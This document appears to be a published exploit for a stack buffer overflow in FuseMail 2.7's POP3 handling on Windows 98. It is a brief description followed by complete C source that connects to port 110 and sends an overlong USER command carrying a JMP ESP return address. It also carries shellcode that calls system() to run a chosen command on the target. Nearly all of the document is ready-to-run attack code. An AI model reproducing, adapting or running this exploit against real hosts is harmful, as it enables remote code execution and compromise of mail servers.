We found the overflow bug of FuseMail 2.7. It overflows when that receives the long USER or PASS in POP3 handling. If the host recives the packet which contains the exploit code, the host has been cracked by any instructions which are coded in the exploit code. This example sends the exploit code that executes any command on the host which is running the CMail FuseMail 2.7.
309610ace7f1c7fb6114ed72658bed907b4988c547c4ac6b184fd6b386bdd773
/*=============================================================================
FuseMail Version 2.7 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 1159
#define RETADR 1074
#define FTP_PORT 110
#define JMP_ESP 0xbff7a027
unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.system.notepad.exe";
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[3000],buf[1500];
int sockfd,i,ip;
if (argc<2){
printf("usage\n %s HostName\n",argv[0]);
exit(1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(FTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
memset(buf,'a',BUFSIZE);
buf[BUFSIZE]=0;
ip=JMP_ESP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
strncpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
sprintf(packetbuf,"USER %s\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
memset(packetbuf,0,1024);
sprintf(packetbuf,"PASS sample\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
close(sockfd);
}